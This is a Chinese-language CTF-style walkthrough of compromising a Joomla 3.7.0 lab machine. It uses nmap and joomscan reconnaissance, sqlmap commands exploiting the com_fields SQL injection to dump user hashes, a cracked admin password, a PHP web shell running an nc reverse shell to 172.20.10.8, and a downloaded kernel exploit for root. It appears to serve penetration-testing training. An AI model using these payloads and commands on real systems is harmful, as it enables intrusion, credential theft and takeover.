信息收集
本机ip:172.20.10.4
扫描网段:172.20.10.0/24
nmap 172.20.10.0/24
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-09dHiL8O-1685875561721)(https://cdn.nlark.com/yuque/0/2023/png/25923248/1679405672522-300a75a2-208c-43de-b9ec-3b1ce2c63791.png#averageHue=%232a2d38&clientId=ub786735f-b12a-4&from=paste&height=157&id=ue9b10070&originHeight=314&originWidth=980&originalType=binary&ratio=2&rotation=0&showTitle=false&size=181171&status=done&style=none&taskId=uf58982f0-1452-4f5f-b41c-3951c7ced82&title=&width=490)]
扫描出靶机ip
172.20.10.7
nmap -sS -A -sV 172.20.10.7
浏览器访问看看
发现 joonmla
joomla
Joomla!是一套全球知名的内容管理系统,Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统
这里需要用到一款工具,叫 joomscan
joomscan
(JoomScan):是一个开源项目,旨在自动执行Joomla CMS部署中的漏洞检测和可靠性保证任务。该工具在Perl中实现,可以无缝轻松地扫描Joomla安装,同时通过其轻量级和模块化架构留下最小的占地面积。它不仅可以检测已知的攻击性漏洞,还能够检测到许多错误配置和管理员级别的缺陷,这些缺陷可被攻击者利用来破坏系统
由于kali上没有,需要自行安装
git clone https://github.com/rezasp/joomscan.git ##下载源码
cd joomscan ##进入路径
perl joomscan.pl ##运行
查看使用的方法
perl joomscan.pl --help
使用最基本的参数
perl joomscan.pl -u 172.20.10.7
可以看到他的版本和后台
版本:3.7.0
后台:/administrator
搜索漏洞
使用searchsploit工具来搜索相对应的版本的漏洞
searchsploit joomla 3.7.0
下载第一个
searchsploit -m 42033.txt
cat 42033.txt
发现时sql注入漏洞
告诉来使用用法
直接使用sqlmap工具
sqlmap -u "http://172.20.10.7/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
爆出5个数据库
继续爆joomladb
sqlmap -u "http://172.20.10.7/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db --batch -p list[fullordering]
爆joomladb表的列
sqlmap -u "http://172.20.10.7/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables --batch -p list[fullordering]
爆users表
sqlmap -u "http://172.20.10.7/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
获取id,name,password的内容
sqlmap -u "http://172.20.10.7/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C id,name,password --batch -p list[fullordering]
获得admin的密码
使用工具john进行解密
将密码放到一个文件里
解出admin的密码为 snoopy
访问172.20.10.7/administrator
成功进入后台
反弹shell
发现模块可以执行php的脚本
随便选择一个模块,
新建文件,
新建shell.php
然后写入php反弹代码,
<?php
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.20.10.8 4444 >/tmp/f");
?>
kali开启nc监听
nc -lvnp 4444
然后点击save,根据路径访问
http://172.20.10.7/templates/beez3/shell.php
获得交互式shell
输入python命令
python -c 'import pty;pty.spawn("/bin/bash")'
查找漏洞
earchsploit Ubuntu 16.04
经过测试,可以用39772,txt可以使用
下载
searchsploit -m 39772.txt
打开发现,给了一个exp的地址
我们下载下来
在本地下载下来,然后拉到kali中去
然后解压
里面有两个文件,我们先讲文件上传到目标服务器
进入目标服务器的/tmp目录下,
wget http://172.20.10.8/exploit.tar
解压文件
tar -xvf exploit
执行文件
./compile.sh
./doubleput
等待一会
提权成功
拿到flag